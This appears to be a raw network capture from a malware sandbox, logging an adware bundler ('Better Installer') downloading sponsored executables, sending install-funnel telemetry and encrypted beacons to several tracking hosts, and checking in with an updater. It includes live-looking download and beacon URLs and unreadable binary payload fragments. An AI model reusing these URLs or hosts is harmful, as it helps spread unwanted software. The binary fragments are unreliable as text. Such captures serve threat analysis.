SEm5DccVnvtFNRdhu5ctDUOQ jm D 5fv C6kYspkD8ssqJzW8i4u0RN1tefv A4YXNRY=
..x-amz-request-id: 32D471A928A6BD73..Date: Sat, 18 Apr 2015 07:36:04 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Wed, 01 Apr 2015 13:14:03 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....

GET /utility.gif?report=fdata&f=1&c=000171&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1429342564 HTTP/1.1

Host: errors.neomapobjectrack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: mKX IeFG1hRAT1DPO2HelgAds1qsR0 3zruKssFFaD SRW1 1la/aTG/TltusYngJHD1 /MQVX8=

x-amz-request-id: E0F13DBE9CF076DD

Date: Sat, 18 Apr 2015 07:36:06 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:14:03 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: mKX Ie
FG1hRAT1DPO2HelgAds1qsR0 3zruKssFFaD SRW1 1la/aTG/TltusYngJHD1 /MQVX8=
..x-amz-request-id: E0F13DBE9CF076DD..Date: Sat, 18 Apr 2015 07:36:06 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Wed, 01 Apr 2015 13:14:03 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....

GET /utility.gif?report=fdata&f=1&c=000171&i=500&n=deploy_notification_start_funnel_step_name&rnd=1429342565 HTTP/1.1

Host: errors.neomapobjectrack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: VkPQ7yLkC3x3Iti4fQJMCaNEXigS54wZLOpo6unGdbUpR7BIDlZd0eKJc8yQqzyqGbJGluPWQoI=

x-amz-request-id: 2C5FCADA92D1B5A4

Date: Sat, 18 Apr 2015 07:36:06 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:14:03 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1429342565 HTTP/1.1

Host: errors.neomapobjectrack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: 6Bjbhktoj5yd1nSJzuFxRNzjp/WxsyMJKoQUjYPaOdZHq0qJvTQ1Eo9D0dsdt7yoz5NUsIBl4IM=

x-amz-request-id: 6CA49E1A5DBDF13B

Date: Sat, 18 Apr 2015 07:36:06 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:14:03 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=700&n=deploy_ch_start_funnel_step_name&rnd=1429342565 HTTP/1.1

Host: errors.neomapobjectrack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: OHhn8KuderLS1fIK2XBk1OYGiqfc3mcDXTBJAedtFj4XQuehA0EJM7r6mysdG/A1ZuPTmVcipRg=

x-amz-request-id: C75BFC683BC42D76

Date: Sat, 18 Apr 2015 07:36:06 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:14:03 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=800&n=deploy_nova_start_funnel_step_name&rnd=1429342565 HTTP/1.1

Host: errors.neomapobjectrack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: HgIyAMwoTPeyqsbAjwNAnlHiu1WyvlIYHiz189sZoAzn4J2LegQEFitQ6jLcUijw obit1c4rsI=

x-amz-request-id: 95464B438920C275

Date: Sat, 18 Apr 2015 07:36:06 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:14:03 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=900&n=deploy_ff_start_funnel_step_name&rnd=1429342566 HTTP/1.1

Host: errors.neomapobjectrack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: ZBOkkk2v/XpU1s/gEwBVur/g8O7S6qyBty58ajUQF/aR1sco3hZxs 25JRNGVood0hzwkSf74LY=

x-amz-request-id: D9B5AF9AC9D1CFD3

Date: Sat, 18 Apr 2015 07:36:07 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:14:03 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;..

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=178475-

User-Agent: Better Installer(Mozilla)

Host: d3dl09kxmzkap.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 107083

Connection: keep-alive

Date: Sun, 12 Apr 2015 05:26:44 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 178475-285557/285558

Age: 2036

X-Cache: Hit from cloudfront

Via: 1.1 8c9004920e47d52db1671ea2719afb43.cloudfront.net (CloudFront)

X-Amz-Cf-Id: FQtPxjGhoaF1SXZ-Q_bZY5FSxv71mk7O5hmJLWJZ7_ia4ssmbm1_aQ==
w.N>.Pq..A)...[N......B.x../.>[email protected]..
N.Z......j..&...h....A.hO..\....'.....sj.`.....H.S.|.s=.......I.)L>
...c....i.>.....G.u..H.D....P......qC0<.(...m..y.dm.\1N.m...v.T`
- .Ss. .G2..rk.......N{[email protected].......}......6P$....2
.52..!.x....L.R. [email protected],.].\...a..........k
.....A.....P....u`..I.///....b~.y..^...P...z..p..:.d.....R.4....U. ...
../.M]..~.........(...... y.).. ..In.I.)..ua.*..N!Q.......1.e..b)F5...
x.bS..f..|q.H..K...V.`.^...x!Su4_"?...uc.tY.m...%....r..be.z. ....0.^.
....]y........)... .u_/..V..6).v..\.7n-z.q.............Y.w.oBk..f..}..
[email protected]. .*.b.;..).....|.\@c..)......H.P..;......!"...gN.......9W..
.. ......NJJJ....N|..)T..aU..1....5~.G...=d.m..Qfl..?.yO|e...`.sXm$Op;
."p................t=V.........Q....f.r0.........i...M......E....Y.../
....N.7/.;.....|..R...(./.4..{)..~.M....).......f.w...6.^.0TB...H..c..
.....^-a.G`0ub..|a;.C..T.<..N/......^..>."....f..$..d.=.X0..x4R.
..W...=.....`..w.$\a/.~R.~<.....jS.q.es....-.....#W#.D.4H...tw...&.
A.w/...t...[H"D....9E].....A....B<D.7[.2.3.!.......P.......R..R._.I
...y........([email protected].\D.k.2....3..".".......
.p...?_X.........$v.....,......\.V..EV.G...........Z.DO....B..V...%.D.
...].n..`...H.!..=<.. Y.*l..].j.u.d.o.M.i...>..m........$K..@...
..]~.H.z.p.O.?.i.&.U.....U."<..o.S#..x.....s..g.[.....A.6~'-.1D....
....`Pim2....;.xsV2.'7.#..jlW.1-..4......h ..~...oV..."...]|..i=.....V
(.....e..!..EU.d....ui..9).....^P.o.g..e..H.1x.....\.#..D....G.w.p<<< skipped >>>

GET /pinger?event_type=install_complete&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607deb71d8f3494f867a2b514a49c4e9&uniqid=5423049c0be0b64dd47e76f4552912c0&affiliate_id=videoplayer&software_id=videoplayer&sponsored_id=istartsurf&tokyo_csrf2_key=88966f544384af5b75c38bd84c516aee&tokyo_csrf2_timestamp=1429342472&slot_number=3&index_in_screen=1&index_in_session=3&0.9191735607749332 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/videoplayer/videoplayer/607deb71d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:36:13 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked
0......


GET /pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607deb71d8f3494f867a2b514a49c4e9&uniqid=5423049c0be0b64dd47e76f4552912c0&affiliate_id=videoplayer&software_id=videoplayer&sponsored_id=appshat_madness&tokyo_csrf2_key=88966f544384af5b75c38bd84c516aee&tokyo_csrf2_timestamp=1429342472&slot_number=4&index_in_screen=1&index_in_session=4&0.13876420013356688 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/videoplayer/videoplayer/607deb71d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:36:14 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Sat, 18 Apr 2015 07:36:14 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /softwares/4/3/vlc-2.0.6-win32.exe HTTP/1.1

Range: bytes=2868599-

User-Agent: Better Installer(Mozilla)

Host: download.betterinstaller.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Sat, 18 Apr 2015 07:34:39 GMT

Content-Type: application/octet-stream

Content-Length: 20080191

Last-Modified: Thu, 29 Aug 2013 08:26:14 GMT

Connection: keep-alive

ETag: "521f05a6-15e2bb6"

Content-Range: bytes 2868599-22948789/22948790
....z]..kj.. ..T.J..B|.Ci....|F.h..w.W.l.*.b.....v.k...`..#`...`.._..\
..kVx....aE......O.Q..(Z*|..^..'.P...N.j0|f..N77.........q....Y...V4r.
...l.$....U...i*y.p.hW...U.=.UHD9..hr.Y.1i..B.Fv.YB...G4.z.d......_i..
.jX?...8.4...?..!.N..r~.y.^". .....[w..yV.B\...O#A.?.....?..<I.~...
.X$..\K..........=B.>.O.....(K].v......k.v..]I....z..O[.pA.....N.H.
. ...&b!z.8W...f........n.us./..G.6N.B`lz'..b;..3<..Le<|HK.j#...
[v..|..@.....>-)u.5Z?.Y....9q3Y...........?........v....l..ZG....S.
x.R....-t...B*.d./...U.rp....y".#.wI9.s.....$.LX......;.s].2.....tzh.(
1 ._7<.f...P....An.....)......q.R.......}...s.\R.... N.)8b=Rn...{El
.O.....-...P.>.^.L...L..3.16.M....T..Y......&cS...? .....X!h.[.m...
..L.o...q6..^.... 6.KZ1..K.q........~....vC.M.D\y.=..... .K.d#.23....D
....*;3.QM..;...wW....jQ...^...x.....v..m.....E-..o.w....z..yX...o...0
......fM..S..:".,(.%..o.....nh~.... S.`..P.....n.$...i.jDK.....{7R.S!.
..!l.Qt5....7Xx`g.... |...j.F...T*.Q.xy.:..4.Q.].97..-..). .|..%..2X`.
................z?..J6$...E.......A...G.I7..*...9.K...|...A.O.^.M...d.
....s.f\...cV.X...<..m'..}...?.W..a........!.r....;O_.W.i-N.>.z.
..i..q.h.=3..R...|[email protected]..=hR.....i<....qt.1...h..\"7k....y5.RI
...PU...7N.g..G..4Q..33....2f..X...'..ae[.. [email protected]".H.o.U
?.Wm.U...=q0....b..07#O....P...Eo....*...(S.../bB.....`...A....I...t.[
.....IU.5.............~*..F.e3..!...%.l....T....S.j.....^.08..c.....2.
8..s(......g,$..:A|...!._......Q...z$..T......(W....6.... .U....l..c.L
.y.J.6p3..~z....D....q!..........&.Q~W.......~.i9.]#..9...D.....'.<<< skipped >>>

GET /12334.ashx?e=jmtNUPm9rtmfZNC1TqAoBCFIcgSg6NIW1VMaOJFqXYpxTYwWxYG9WJlbztiqtoL/kmHgElHm6ZaxFpMtpGdVKHf1ws7XaD2yIg0p1vUMLr4E8SFHLIEPsGJTlYCQaOf7GuVxeoIbRG3Yz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW Q== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:22 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Sat, 18 Apr 2015 07:35:22 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..

GET /22693.ashx?e=d/UISSlWdlMdEfBWbuhmg4OEKc3FJ3Q0jA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNTpEYMGEbzhmLiUprcaueolse979EoWp36oJSZ1kRbBazzJrpQW66LlHmS0Zrngqa/u6z7Uinv/gCLB7Quosf1iJOdggUH8lG3IlxQB6eB5S9R7UpgWEByNCUHeR8YCF3TCM72XKEiy8qCttwK9rPhasyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tR0hDuzlZFdCYPPi3Zo1figDE8AtRh2XI58lM8JdMld5irOMBnstkejmnzicG6yEv4= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:34 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /affiliates/eula.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://bi.bisrv.com/videoplayer/videoplayer/607deb71d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d1tlvbabel9f8s.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Sun, 12 Apr 2015 04:53:18 GMT

Last-Modified: Sun, 26 Oct 2014 17:23:05 GMT

Expires: Sun, 12 Apr 2015 05:03:18 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

Age: 501

X-Cache: Hit from cloudfront

Via: 1.1 6c3aacb4f18d43a0ee96c2937098272d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: OlyUNkVGqkw1PCRhYZ5AUapqs5lFgiJ8h9udJz1jKSUREAndqQFDGA==
1500.............Zks.F......N.......|.-y."!...P.P.... .)".....1S..{...
.R.g.Jl...}.{...>....F7..ZV.T]NO..Pu....?...Q4R..G.c...VEE..I..Y...
...:..Z........?...n...G......o......w>.o.d..U.../......4..`..?~{T.
.d]..i..;.~......y.Q....7i<,..<.....d...|...l.?..t..F.OeU$.....:
Xl..U;8...Q.~.vGw......E.I.....z.7S....q.I..f.q.DW.....U....|..(.u.1..
.z..3..|....A.....:.............P....X$..*.w..........s.;..]..........
u.?..%f...~....S..b...,..........5.(,Qm...w .NK...Y>......u.......}
n..C......8$....)..R..4IuwS....h...*...f.e.q7...<y...I.....:8...s#Z
/M./...B...s..|}[email protected]..)t..uJ.WR..._.LTvz. yV._.L.tz..6 ......
..e.......6.....#b.j.A..yw.[.p.a...6n.6;(u40..8.....&..DT.....EQ..k..J
D.C....zDq....W...X...f.W..D....I.:............~..........f..a.QZ....&
gt;f%.(..n....z.v.u.mCc..].......u$..S..UK<...."T.......dhR.U7i.3..
.....4.K.....6..-..]......'$Y..9$.....U>Et....y....M..M.2x.....`An|
.^.t'O.. !..m>.:8.KZ.........$C...f..Ll...4.<ZGm.$H{Q...........
z..m................p........|C.......i^.W.}'.>..*.....z .=,..7..L.
WY^..T./..zS&...w....g.x..O.U\$q.S....Y.S%*.7..................W..,^'8
......o..W..Z....Q.U.7bp...l5.E....=P....A.D;45....d.q...Jg....."...&l
t;._&...>(VQ..<......Q..v.....?@,...h...P8..i.<N.......fs5.u.
8...8v..-. .....OG..'O.....3{*1u....P..?TK...!..:...e.......6.N./.....
C...'...V&.].....|.b...\.D..J...Y...n-.j.j...u..G.....B.h.Z......s..dw
...9.\...D....]w.n..r&#...~..q4.St........&..3RC'pO.....p.C.2R..."7..6
x8.'#/..I..S......vd..r......I.9..79..B.4..^}ur....S..s...u2."...~<<< skipped >>>

GET /25356.ashx?e=9g1KGrSSDbGfZNC1TqAoBOj/J1BagZZy1VMaOJFqXYpxTYwWxYG9WJlbztiqtoL/oUDW29 K3KY2pDbRIArAn3f1ws7XaD2yRYhZSGl8ahHJscN vLrCo78exDZM0cTsP3GhIJ9WssI TdI1rDUfDB/Kp5gsiu7 yQUz6dheYMQvjIa5KtPcv0GwORpUjcC7WAbvJVExSwPGCkggys1PVXld7plMo70c5pdl3V4yoSZtC3ZUXmNv4hOEZ9fC9NN7s9C7tmmeIQ4UJj9eY3tRmk7I4yfJnN09oTHVEzLxRanuR8rlFQ995d4TrHByixEmP/UXbcZNjCNC2R6oUEzU7X uCP23qgmhjYlTw jbadRKd6wzbzFcB3jtjjc4HW ltcCtVoefq2OHJeZ7WltgDYe5NiVGfA/F8Pjo5DFIsXNvS0/1jJXs/pUMgQqfs/z4lSAartU4EMfdSyEkynjdwnJHU7abfgiRB4Cp3gaug073iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22OWbU/CGmJ5Yn HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:51 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Sat, 18 Apr 2015 07:35:51 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..

GET /windowspm/up?ptid=wpmvt&sid=WindowsMangerProtect&ln=en_us&ver=20.0.0.1953&uid=&upv= HTTP/1.1

Host: VVV.theviilage.com

User-Agent: Mozilla/4.0

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:37:09 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Powered-By: PHP/5.2.14p1

1..1..0..

GET /utility.gif?report=fdata&f=1&c=000171&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1429342571 HTTP/1.1

Host: errors.neomapobjectrack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: WChdYAZu6HFMWsl0JlfHD sgRI 514Lepp9Yq5mM3n01SvG1eaosavpTPRBlSx74tR4VoEt9G0A=

x-amz-request-id: EC2A37B26EDF8DDD

Date: Sat, 18 Apr 2015 07:36:12 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:14:03 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1429342571 HTTP/1.1

Host: errors.neomapobjectrack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: Y2qYo3ohxArgYub7vZT5yA2 wDKgxCzt8N12gKI/l8GReEN7egZjzGox6pSkYnEDmcTF8q60gKs=

x-amz-request-id: 80CB74374F6B515E

Date: Sat, 18 Apr 2015 07:36:12 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:14:03 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1429342571 HTTP/1.1

Host: errors.neomapobjectrack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2:  uKB8UbGLDNoZn0NPvVzpxjtA8ewtpiRcXATnQ8lJKeaG0Wg7x bgLfF9YDQS68G7OCFs N7ePc=

x-amz-request-id: 86FB430CCE11444E

Date: Sat, 18 Apr 2015 07:36:12 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:14:03 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2:  uKB8U
bGLDNoZn0NPvVzpxjtA8ewtpiRcXATnQ8lJKeaG0Wg7x bgLfF9YDQS68G7OCFs N7ePc=
..x-amz-request-id: 86FB430CCE11444E..Date: Sat, 18 Apr 2015 07:36:12 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Wed, 01 Apr 2015 13:14:03 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....

GET /utility.gif?report=fdata&f=1&c=000171&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1429342573 HTTP/1.1

Host: errors.neomapobjectrack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: bizRhtZbpdnGhyUTmTsxvib ZT90YJF/yo0rlUFYpeB25A0FLAJnciz/yrWIUGuVSz DbvlyLkk=

x-amz-request-id: 46B19F0504188157

Date: Sat, 18 Apr 2015 07:36:14 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:14:03 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=10000&n=deploy_end_funnel_step_name&rnd=1429342573 HTTP/1.1

Host: errors.neomapobjectrack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: FMae3fyf3 rbECkEuqQoUQIJp2mwaXKvCxWhkojqiKYt/PWRw8WuT3kt7rB51pH4Npt2bAZ217g=

x-amz-request-id: 9A2A1EC657C7A8E4

Date: Sat, 18 Apr 2015 07:36:14 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:14:03 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: FMae3f
yf3 rbECkEuqQoUQIJp2mwaXKvCxWhkojqiKYt/PWRw8WuT3kt7rB51pH4Npt2bAZ217g=
..x-amz-request-id: 9A2A1EC657C7A8E4..Date: Sat, 18 Apr 2015 07:36:14 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Wed, 01 Apr 2015 13:14:03 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;..

GET /app/ping.ashx?e=WVbe3wHlwMEdEfBWbuhmg7WEylQmklYi3Pumfblmu5B9EKWfiY9Pr/lWymhtcc3oSGExqW4qn7xTgtGbaWrGbzEsdSRpTTrrYOU1y/YINRHLxDHmWqXbsqi/aoXv6zbrGCk/GwX8 XfjbVPsLiTKUwxuyoGlnIvKl8axoeNMkn46SEXCM79iefveis23DNM6naQQuHaXH0P7e7Z5lK2CBt35bH/eTc70z3EdWN1pnr9bmahbZLJ8Q3BYBZLbJs2rZZUU/f1SSFExPMluxhCtvoCVgVSQ8U4bxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJe0t1UorR32ajRt6ubd2oIq4F2xhoO7ZbWM6W43gx8rzU6RGDBhG84Zi4lKa3GrnqJbHve/RKFqd qCUmdZEWwWs8ya6UFuui5uYnlvRPjU9A== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rep.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Content-Type: image/gif

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Sat, 18 Apr 2015 07:35:50 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Sat, 18 Apr 2015 07:35:50 GMT..Content-Length: 0....
..

GET /app/ping.ashx?e=wlkQ3WKgYpRPNjxRBLtb43eS3LHPhAPU8VJzSL2ntQTrKx2bEbCHzOcoyReJ NwWyxib6hKcAO9IYTGpbiqfvFOC0ZtpasZvMSx1JGlNOutg5TXL9gg1EcvEMeZapduyqL9qhe/rNusYKT8bBfz5d NtU wuJMpTDG7KgaWci8qXxrGh40ySfjpIRcIzv2J5 96KzbcM0zqdpBC4dpcfQ/t7tnmUrYIG3flsf95NzvTPcR1Y3Wmev1uZqFtksnxDcFgFktsmzatllRT9/VJIUTE8yW7GEK2 gJWBVJDxThvG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l7S3VSitHfZqNG3q5t3agirgXbGGg7tltYzpbjeDHyvNTpEYMGEbzhmLiUprcaueolse979EoWp36oJSZ1kRbBazzJrpQW66Liy6clAa0L70 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rep.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Content-Type: image/gif

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Sat, 18 Apr 2015 07:35:51 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Sat, 18 Apr 2015 07:35:51 GMT..Content-Length: 0....
..

